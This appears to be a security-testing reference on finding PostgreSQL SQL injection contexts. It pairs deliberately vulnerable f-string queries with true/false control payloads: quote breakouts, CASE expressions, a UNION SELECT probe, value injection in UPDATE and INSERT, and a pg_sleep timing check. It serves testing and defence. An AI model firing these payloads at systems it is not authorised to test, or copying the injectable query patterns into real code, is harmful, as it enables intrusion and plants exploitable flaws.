Testing

PostgreSQL injection-context testing

The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and LIMIT expression accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.

Each example supplies two syntactically valid PostgreSQL inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.

Numeric predicate

This pattern also covers numeric expressions inside WHERE, HAVING, and ON predicates.

query = f"SELECT id, name FROM items WHERE id = {user_input}"

1 AND 1=1
1 AND 1=2

The first control returns row 1; the second returns no rows.

Quoted-string predicate

query = f"SELECT id, username FROM users WHERE username = '{user_input}'"

maria' AND 1=1-- -
maria' AND 1=2-- -

The first control preserves the maria row and the second removes it. The comment consumes the source code’s closing quote.

LIKE predicate

query = f"SELECT id, name FROM items WHERE name LIKE '%{user_input}%'"

%' AND 1=1-- -
%' AND 1=2-- -

The first control leaves a match-all LIKE '%%' predicate followed by a true condition; the second makes the predicate false.

ORDER BY expression

query = f"SELECT id, name, count FROM items ORDER BY {user_input}"

CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id END

The first control sorts by count; the second sorts by id. Both branches use compatible numeric types and produce a deterministic comparison.

GROUP BY expression

query = f"SELECT COUNT(*) FROM items GROUP BY {user_input}"

CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name END

With repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.

UNION SELECT

query = f"SELECT id, name FROM items WHERE id = {user_input}"

-1 UNION SELECT NULL,'sql-test'-- -
-1

The first control adds a visible sql-test row and the second returns no rows. This source query has two output columns; a different query requires matching its column count and compatible PostgreSQL types.

LIMIT expression

query = f"SELECT id, name FROM items ORDER BY id LIMIT {user_input}"

(CASE WHEN 1=1 THEN 1 ELSE 2 END)
(CASE WHEN 1=2 THEN 1 ELSE 2 END)

The first control returns one ordered row and the second returns two.

Writable value expression

Use only a disposable lab row because both controls intentionally update data.

update_query = f"UPDATE items SET count = {user_input} WHERE id = 1"
insert_query = f"INSERT INTO items (count) VALUES ({user_input})"

CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 END

Reading the written row back shows 7 for the first control and 8 for the second.

Dynamic SELECT expression

query = f"SELECT {user_input} FROM users ORDER BY id"

CASE WHEN 1=1 THEN username ELSE CAST(id AS TEXT) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS TEXT) END

The returned values switch between username and the text form of id. A strict allowlist of column names prevents this expression context from being injectable.

Time-based confirmation

query = f"SELECT id, name FROM items WHERE id = {user_input}"

1 AND (SELECT 1 FROM pg_sleep(0))=1
1 AND (SELECT 1 FROM pg_sleep(5))=1

Both controls preserve row 1. The second control delays the response by approximately five seconds.

_{Find by: postgresql, postgres, sql injection testing, source review, true false control, time based control, pg_sleep, where, having, on, quoted string, like, order by, group by, union select, limit offset, insert update value, dynamic select}